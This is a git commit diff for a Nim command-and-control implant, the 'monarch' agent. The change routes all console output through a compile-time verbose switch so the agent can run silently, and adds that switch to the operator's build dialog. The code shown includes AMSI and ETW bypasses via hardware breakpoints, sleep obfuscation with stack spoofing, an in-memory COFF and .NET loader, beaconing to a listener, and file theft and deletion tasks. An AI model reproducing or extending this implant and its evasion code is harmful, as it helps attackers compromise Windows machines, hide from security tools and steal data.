Implemented setting for verbose mode that prints debug messages in the windows where the agent is executed. Setting "verbose" to false disables all console output of the agent program.
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
import winim/[lean, clr]
|
||||
import os, strformat, strutils, sequtils
|
||||
import ./hwbp
|
||||
import ./[hwbp, io]
|
||||
import ../../common/[types, utils]
|
||||
|
||||
#[
|
||||
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
|
||||
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
||||
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
||||
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
||||
echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
|
||||
print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
|
||||
CONTINUE_EXECUTION(pThreadCtx)
|
||||
|
||||
proc etwPatch(pThreadCtx: PCONTEXT) =
|
||||
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
||||
pThreadCtx.Rsp += sizeof(PVOID)
|
||||
pThreadCtx.Rax = STATUS_SUCCESS
|
||||
echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
|
||||
print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
|
||||
CONTINUE_EXECUTION(pThreadCtx)
|
||||
|
||||
#[
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import winim/lean
|
||||
import os, strformat, strutils, ptr_math
|
||||
import ./beacon
|
||||
import ./[beacon, io]
|
||||
import ../../common/[types, utils, serialize]
|
||||
|
||||
#[
|
||||
@@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
|
||||
# Check if symbol starts with `__ipm_` (imported functions)
|
||||
if ($symbol).startsWith("__imp_"):
|
||||
length += ULONG(sizeof(PVOID))
|
||||
# echo $symbol
|
||||
# print $symbol
|
||||
|
||||
# Handle next relocation item/symbol
|
||||
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
||||
@@ -156,7 +156,7 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
|
||||
if resolved == NULL:
|
||||
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
|
||||
|
||||
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||
|
||||
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
|
||||
|
||||
@@ -339,9 +339,9 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
|
||||
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
|
||||
|
||||
# echo objCtx.union.header.repr
|
||||
# echo objCtx.symTbl.repr
|
||||
# echo objCtx.sections.repr
|
||||
# print objCtx.union.header.repr
|
||||
# print objCtx.symTbl.repr
|
||||
# print objCtx.sections.repr
|
||||
|
||||
# Verifying that the object file's architecture is x64
|
||||
when defined(amd64):
|
||||
@@ -354,7 +354,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
|
||||
# Calculate required virtual memory
|
||||
virtSize = objectVirtualSize(addr objCtx)
|
||||
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
|
||||
print fmt"[*] Virtual size of object file: {virtSize} bytes"
|
||||
|
||||
# Allocate memory
|
||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||
@@ -370,7 +370,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
||||
|
||||
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||
|
||||
# Set the section base to the allocated memory
|
||||
secBase = virtAddr
|
||||
@@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||
|
||||
echo "[*] Copying over sections."
|
||||
print "[*] Copying over sections."
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||
secSize = sections[i].SizeOfRawData
|
||||
secMap[i].size = secSize
|
||||
@@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
|
||||
# Copy over section data
|
||||
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
|
||||
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
||||
print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
||||
|
||||
# Get the next page entry
|
||||
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
|
||||
@@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
# The last page of the memory is the symbol/function map
|
||||
objCtx.symMap = cast[ptr PVOID](secBase)
|
||||
|
||||
echo "[*] Processing sections and performing relocations."
|
||||
print "[*] Processing sections and performing relocations."
|
||||
if not objectProcessSection(addr objCtx):
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, "Failed to process sections.")
|
||||
|
||||
# Executing the object file
|
||||
echo "[*] Executing."
|
||||
print "[*] Executing."
|
||||
if not objectExecute(addr objCtx, entryFunction, args):
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
|
||||
echo "[+] Object file executed successfully."
|
||||
print "[+] Object file executed successfully."
|
||||
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import parsetoml, base64, system
|
||||
import ./io
|
||||
import ../../common/[types, utils, crypto, serialize]
|
||||
|
||||
const CONFIGURATION {.strdefine.}: string = ""
|
||||
@@ -38,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
|
||||
wipeKey(agentKeyPair.privateKey)
|
||||
|
||||
echo protect("[+] Profile configuration deserialized.")
|
||||
print protect("[+] Profile configuration deserialized.")
|
||||
return ctx
|
||||
|
||||
proc init*(T: type AgentCtx): AgentCtx =
|
||||
@@ -50,7 +51,7 @@ proc init*(T: type AgentCtx): AgentCtx =
|
||||
return deserializeConfiguration(CONFIGURATION)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] " & err.msg
|
||||
print "[-] " & err.msg
|
||||
return nil
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||
|
||||
import ./io
|
||||
import ../../common/[types, utils, profile]
|
||||
|
||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
@@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] " & err.msg
|
||||
print protect("[-] "), err.msg
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
@@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] " & err.msg
|
||||
print protect("[-] "), err.msg
|
||||
return false
|
||||
|
||||
finally:
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import winim/lean
|
||||
import ./io
|
||||
import ../../common/utils
|
||||
|
||||
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
|
||||
@@ -33,7 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||
|
||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
echo protect("[!] GetThreadContext Failed: "), GetLastError()
|
||||
print protect("[!] GetThreadContext Failed: "), GetLastError()
|
||||
return false
|
||||
|
||||
case drx:
|
||||
@@ -59,7 +60,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
||||
|
||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
echo protect("[!] SetThreadContext Failed: "), GetLastError()
|
||||
print protect("[!] SetThreadContext Failed: "), GetLastError()
|
||||
return false
|
||||
|
||||
return true
|
||||
@@ -69,7 +70,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||
|
||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
echo protect("[!] GetThreadContext Failed: "), GetLastError()
|
||||
print protect("[!] GetThreadContext Failed: "), GetLastError()
|
||||
return false
|
||||
|
||||
# Remove the address of the hooked function from the thread context
|
||||
@@ -87,7 +88,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
||||
|
||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
echo protect("[!] SetThreadContext Failed"), GetLastError()
|
||||
print protect("[!] SetThreadContext Failed"), GetLastError()
|
||||
return false
|
||||
|
||||
return true
|
||||
@@ -196,7 +197,7 @@ proc initializeHardwareBPVariables*(): bool =
|
||||
# Add 'VectorHandler' as the VEH
|
||||
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
||||
if cast[int](g_VectorHandler) == 0:
|
||||
echo protect("[!] AddVectoredExceptionHandler Failed")
|
||||
print protect("[!] AddVectoredExceptionHandler Failed")
|
||||
return false
|
||||
|
||||
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
||||
|
||||
17
src/agent/core/io.nim
Normal file
17
src/agent/core/io.nim
Normal file
@@ -0,0 +1,17 @@
|
||||
import macros
|
||||
import ../../common/[types, utils]
|
||||
|
||||
const VERBOSE* {.booldefine.} = false
|
||||
|
||||
# Only print to console when VERBOSE mode is enabled
|
||||
template print*(args: varargs[untyped]): untyped =
|
||||
when defined(VERBOSE) and VERBOSE == true:
|
||||
echo args
|
||||
else:
|
||||
discard
|
||||
|
||||
# Convert Windows API error to readable value
|
||||
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
|
||||
|
||||
# Convert NTSTATUS to readable value
|
||||
# https://ntdoc.m417z.com/rtlntstatustodoserror
|
||||
@@ -2,7 +2,7 @@ import winim/lean
|
||||
import winim/inc/tlhelp32
|
||||
import os, system, strformat
|
||||
|
||||
import ./cfg
|
||||
import ./[cfg, io]
|
||||
import ../../common/[types, utils, crypto]
|
||||
|
||||
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
|
||||
@@ -115,10 +115,10 @@ proc GetRandomThreadCtx(): CONTEXT =
|
||||
if GetThreadContext(hThread, addr ctx) == 0:
|
||||
continue
|
||||
|
||||
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||
return ctx
|
||||
|
||||
echo protect("[-] No suitable thread for stack duplication found.")
|
||||
print protect("[-] No suitable thread for stack duplication found.")
|
||||
return ctx
|
||||
|
||||
#[
|
||||
@@ -280,17 +280,17 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
||||
|
||||
echo protect("[*] Sleep obfuscation start.")
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
|
||||
echo protect("[*] Sleep obfuscation end.")
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
echo protect("[-] "), err.msg
|
||||
print protect("[-] "), err.msg
|
||||
|
||||
|
||||
#[
|
||||
@@ -448,17 +448,17 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
||||
|
||||
echo protect("[*] Sleep obfuscation start.")
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
|
||||
echo protect("[*] Sleep obfuscation end.")
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
echo protect("[-] "), err.msg
|
||||
print protect("[-] "), err.msg
|
||||
|
||||
|
||||
#[
|
||||
@@ -484,7 +484,7 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
||||
echo fmt"[*] [{hThread.repr}] Thread created "
|
||||
print fmt"[*] [{hThread.repr}] Thread created "
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
ctxInit.ContextFlags = CONTEXT_FULL
|
||||
@@ -559,17 +559,17 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
||||
|
||||
echo protect("[*] Sleep obfuscation start.")
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
|
||||
echo protect("[*] Sleep obfuscation end.")
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
echo protect("[-] "), err.msg
|
||||
print protect("[-] "), err.msg
|
||||
|
||||
# Sleep obfuscation implemented in various techniques
|
||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
||||
@@ -580,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
|
||||
# Initialize required API functions
|
||||
let apis = initApis()
|
||||
|
||||
echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
||||
print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
||||
|
||||
var img: USTRING = USTRING(Length: 0)
|
||||
var key: USTRING = USTRING(Length: 0)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import strformat, os, times, system, base64, random
|
||||
|
||||
import core/[http, context, sleepmask]
|
||||
import core/[http, context, sleepmask, io]
|
||||
import protocol/[task, result, heartbeat, registration]
|
||||
import ../common/[types, utils, crypto]
|
||||
|
||||
@@ -17,9 +17,9 @@ proc main() =
|
||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||
|
||||
if not ctx.httpPost(registrationBytes):
|
||||
echo "[-] Agent registration failed."
|
||||
print("[-] Agent registration failed.")
|
||||
quit(0)
|
||||
echo fmt"[+] [{ctx.agentId}] Agent registered."
|
||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||
|
||||
#[
|
||||
Agent routine:
|
||||
@@ -34,7 +34,7 @@ proc main() =
|
||||
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
echo "\n", fmt"[*] [{date}] Checking in."
|
||||
print "\n", fmt"[*] [{date}] Checking in."
|
||||
|
||||
try:
|
||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||
@@ -45,13 +45,13 @@ proc main() =
|
||||
packet: string = ctx.httpGet(heartbeatBytes)
|
||||
|
||||
if packet.len <= 0:
|
||||
echo "[*] No tasks to execute."
|
||||
print("[*] No tasks to execute.")
|
||||
continue
|
||||
|
||||
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "[*] No tasks to execute."
|
||||
print("[*] No tasks to execute.")
|
||||
continue
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
@@ -62,7 +62,7 @@ proc main() =
|
||||
ctx.httpPost(resultBytes)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
print("[-] ", err.msg)
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
@@ -5,4 +5,5 @@
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-d:VERBOSE="false"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -1,6 +1,7 @@
|
||||
import strutils, tables, json, strformat, zippy
|
||||
|
||||
import ./result
|
||||
import ../core/io
|
||||
import ../../modules/manager
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
@@ -61,7 +62,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
|
||||
var unpacker = Unpacker.init(packet)
|
||||
|
||||
var taskCount = unpacker.getUint8()
|
||||
echo fmt"[*] Response contained {taskCount} tasks."
|
||||
print fmt"[*] Response contained {taskCount} tasks."
|
||||
if taskCount <= 0:
|
||||
return @[]
|
||||
|
||||
|
||||
@@ -43,6 +43,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
|
||||
"sleepDelay": buildInformation.sleepDelay,
|
||||
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
|
||||
"spoofStack": buildInformation.spoofStack,
|
||||
"verbose": buildInformation.verbose,
|
||||
"modules": buildInformation.modules
|
||||
}
|
||||
)
|
||||
|
||||
@@ -12,6 +12,7 @@ type
|
||||
sleepDelay: uint32
|
||||
sleepMask: int32
|
||||
spoofStack: bool
|
||||
verbose: bool
|
||||
sleepMaskTechniques: seq[string]
|
||||
moduleSelection: DualListSelectionWidget[Module]
|
||||
buildLog*: TextareaWidget
|
||||
@@ -23,6 +24,7 @@ proc AgentModal*(): AgentModalComponent =
|
||||
result.sleepDelay = 5
|
||||
result.sleepMask = 0
|
||||
result.spoofStack = false
|
||||
result.verbose = false
|
||||
|
||||
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
|
||||
result.sleepMaskTechniques.add($technique)
|
||||
@@ -45,6 +47,7 @@ proc resetModalValues*(component: AgentModalComponent) =
|
||||
component.sleepDelay = 5
|
||||
component.sleepMask = 0
|
||||
component.spoofStack = false
|
||||
component.verbose = false
|
||||
component.moduleSelection.reset()
|
||||
component.buildLog.clear()
|
||||
|
||||
@@ -100,6 +103,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
igCheckbox("##InputSpoofStack", addr component.spoofStack)
|
||||
igEndDisabled()
|
||||
|
||||
# Verbose mode checkbox
|
||||
igText("Verbose: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igCheckbox("##InputVerbose", addr component.verbose)
|
||||
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
igSeparator()
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
@@ -139,6 +148,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
sleepDelay: component.sleepDelay,
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
||||
spoofStack: component.spoofStack,
|
||||
verbose: component.verbose,
|
||||
modules: modules
|
||||
)
|
||||
|
||||
|
||||
@@ -361,6 +361,7 @@ type
|
||||
sleepDelay*: uint32
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
verbose*: bool
|
||||
modules*: uint32
|
||||
|
||||
LootItemType* = enum
|
||||
|
||||
@@ -30,7 +30,7 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import osproc, strutils, strformat
|
||||
import ../agent/core/coff
|
||||
import ../agent/core/[coff, io]
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
@@ -57,7 +57,7 @@ when defined(agent):
|
||||
fileName = unpacker.getDataWithLengthPrefix()
|
||||
objectFileContents = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
echo fmt" [>] Executing object file {fileName}."
|
||||
print fmt" [>] Executing object file {fileName}."
|
||||
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
|
||||
|
||||
if output != "":
|
||||
|
||||
@@ -30,7 +30,7 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import strutils, strformat
|
||||
import ../agent/core/clr
|
||||
import ../agent/core/[clr, io]
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
@@ -56,7 +56,7 @@ when defined(agent):
|
||||
fileName = unpacker.getDataWithLengthPrefix()
|
||||
assemblyBytes = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
echo fmt" [>] Executing .NET assembly {fileName}."
|
||||
print fmt" [>] Executing .NET assembly {fileName}."
|
||||
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
|
||||
|
||||
if output != "":
|
||||
|
||||
@@ -101,13 +101,14 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import os, strutils, strformat, times, algorithm, winim
|
||||
import ../agent/core/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
# Retrieve current working directory
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo protect(" [>] Retrieving current working directory.")
|
||||
print protect(" [>] Retrieving current working directory.")
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
@@ -131,7 +132,7 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo protect(" [>] Changing current working directory to {targetDirectory}.")
|
||||
print protect(" [>] Changing current working directory to {targetDirectory}.")
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
@@ -168,7 +169,7 @@ when defined(agent):
|
||||
else:
|
||||
discard
|
||||
|
||||
echo fmt" [>] Listing files and directories in {targetDirectory}."
|
||||
print fmt" [>] Listing files and directories in {targetDirectory}."
|
||||
|
||||
# Prepare search pattern (target directory + \*)
|
||||
let searchPattern = targetDirectory & "\\*"
|
||||
@@ -300,7 +301,7 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Deleting file {target}."
|
||||
print fmt" [>] Deleting file {target}."
|
||||
|
||||
try:
|
||||
if DeleteFile(target) == FALSE:
|
||||
@@ -318,7 +319,7 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Deleting directory {target}."
|
||||
print fmt" [>] Deleting directory {target}."
|
||||
|
||||
try:
|
||||
if RemoveDirectoryA(target) == FALSE:
|
||||
@@ -337,7 +338,7 @@ when defined(agent):
|
||||
lpExistingFileName = Bytes.toString(task.args[0].data)
|
||||
lpNewFileName = Bytes.toString(task.args[1].data)
|
||||
|
||||
echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
@@ -357,7 +358,7 @@ when defined(agent):
|
||||
lpExistingFileName = Bytes.toString(task.args[0].data)
|
||||
lpNewFileName = Bytes.toString(task.args[1].data)
|
||||
|
||||
echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
# Copy file to new location, overwrite if a file with the same name already exists
|
||||
|
||||
@@ -41,6 +41,7 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import os, std/paths, strutils, strformat
|
||||
import ../agent/core/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
@@ -48,7 +49,7 @@ when defined(agent):
|
||||
try:
|
||||
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
|
||||
|
||||
echo fmt" [>] Downloading {filePath}"
|
||||
print fmt" [>] Downloading {filePath}"
|
||||
|
||||
# Read file contents into memory and return them as the result
|
||||
var fileBytes = readFile(filePath)
|
||||
